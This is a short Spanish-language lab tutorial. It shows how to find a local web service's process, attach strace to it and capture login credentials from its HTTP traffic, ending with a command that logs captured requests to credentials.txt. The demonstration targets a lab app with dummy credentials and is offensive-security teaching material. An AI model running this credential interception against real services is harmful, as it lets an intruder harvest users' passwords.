Dump HTTP Credentials
Esta técnica está pensada para casos en los que tienes strace, un proceso HTTP y quieres interceptar los paquetes para obtener las credenciales que un usuario puede estar ingresando en un login, esto es útil si eres el usuario propietario del proceso o si eres root. Esto funciona para HTTP o HTTPS.
Identificando el PID del Servicio
netstat -putona
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.1:43493 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.1:4040 0.0.0.0:* LISTEN 86230/ngrok off (0.00/0/0)
tcp 0 0 127.0.0.1:36023 0.0.0.0:* LISTEN 2904/Code --standar off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp6 0 0 :::3389 :::* LISTEN - off (0.00/0/0)
tcp6 0 0 127.0.0.1:34103 :::* LISTEN 5156/java off (0.00/0/0)
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 5156/java off (0.00/0/0)
tcp6 0 0 ::1:3350 :::* LISTEN - off (0.00/0/0)
tcp6 0 0 2001:1388:13a7:cf:48056 2600:1f1e:4e5:1::6e:443 ESTABLISHED 86230/ngrok keepalive (6.67/0/0)
udp 0 0 192.168.1.41:68 192.168.1.1:67 ESTABLISHED - off (0.00/0/0)
udp 0 0 224.0.0.251:5353 0.0.0.0:* 5358/chrome --disab off (0.00/0/0)
udp6 0 0 fe80::b625:3910:980:546 :::* - off (0.00/0/0)
Tambien podemos identificarlo con ps -aux
root 88312 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/6:2-mm_percpu_wq]
root 88313 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/5:2-rcu_gp]
dsds 88389 0.0 0.1 1186390240 64836 ? Sl Apr10 0:00 /home/dsds/BurpSuitePro/burpbrowser/122.0.6261.111/chrome --type=renderer --crashpad-handler-pid=5361 --enable-crash-reporter=, --user-
root 88502 0.8 0.1 260876 37652 pts/0 Sl+ Apr10 0:55 /home/dsds/ponencias/dragon-jar/api/env/bin/python3 app.py
root 88857 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/11:3-cgroup_destroy]
root 89074 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/8:1-events]
root 89553 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/12:1-cgroup_destroy]
root 89555 0.0 0.0 0 0 ? I Apr10 0:00 [kworker/14:0-mm_percpu_wq]
Podemos identificar el PID el cual es: 88502.
Dumpeamos el proceso para obtener las request
strace -e trace=network -s 1024 -fp 88502 2>&1Identificamos el endpoint
# strace -e trace=network -s 1024 -fp 88502 2>&1
strace: Process 88502 attached with 2 threads
[pid 88502] --- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
[pid 88502] --- SIGWINCH {si_signo=SIGWINCH, si_code=SI_KERNEL} ---
[pid 88503] accept4(4, {sa_family=AF_INET, sin_port=htons(56866), sin_addr=inet_addr("192.168.1.41")}, [16], SOCK_CLOEXEC) = 5
[pid 88503] getsockname(5, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("192.168.1.41")}, [128 => 16]) = 0
strace: Process 165519 attached
[pid 165519] recvfrom(5, "POST /api/login HTTP/1.1\r\nHost: lab-cors.local\r\nContent-Length: 42\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\r\nContent-Type: application/json\r\nAccept: */*\r\nOrigin: http://lab-cors.local\r\nReferer: http://lab-cors.local/\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: en-US,en;q=0.9\r\nConnection: close\r\n\r\n{\"usuario\":\"sdfsdf\",\"contrasena\":\"sdfsdf\"}", 8192, 0, NULL, NULL) = 439
[pid 165519] sendto(5, "HTTP/1.1 401 UNAUTHORIZED\r\nServer: Werkzeug/3.0.2 Python/3.11.2\r\nDate: Thu, 11 Apr 2024 05:40:10 GMT\r\nContent-Type: application/json\r\nContent-Length: 42\r\nConnection: close\r\n\r\n", 175, 0, NULL, 0) = 175
[pid 165519] sendto(5, "{\n \"error\": \"Credenciales incorrectas\"\n}\n", 42, 0, NULL, 0) = 42
[pid 165519] shutdown(5, SHUT_WR) = 0
[pid 165519] +++ exited with 0 +++Identificamos las credenciales {\"usuario\":\"sdfsdf\",\"contrasena\":\"sdfsdf\"}, y luego con ello podemos identificar el endpoint /api/login.
También podemos identificar este endpoint desde un proxy como burpsuite.
Luego podemos configurar el paremetro -s para que muestre el request completo en caso de necesitarlo.
Afinando el comando
Podemos tener un comando con el parametro exacto.
strace -e trace=network -s 1024 -fp 88502 2>&1 | grep /api/login
O sino, tambien podemos almacenar esto en un archivo:
(strace -e trace=network -s 1024 -fp 88502 2>&1 | grep /api/login) > credentials.txtLast updated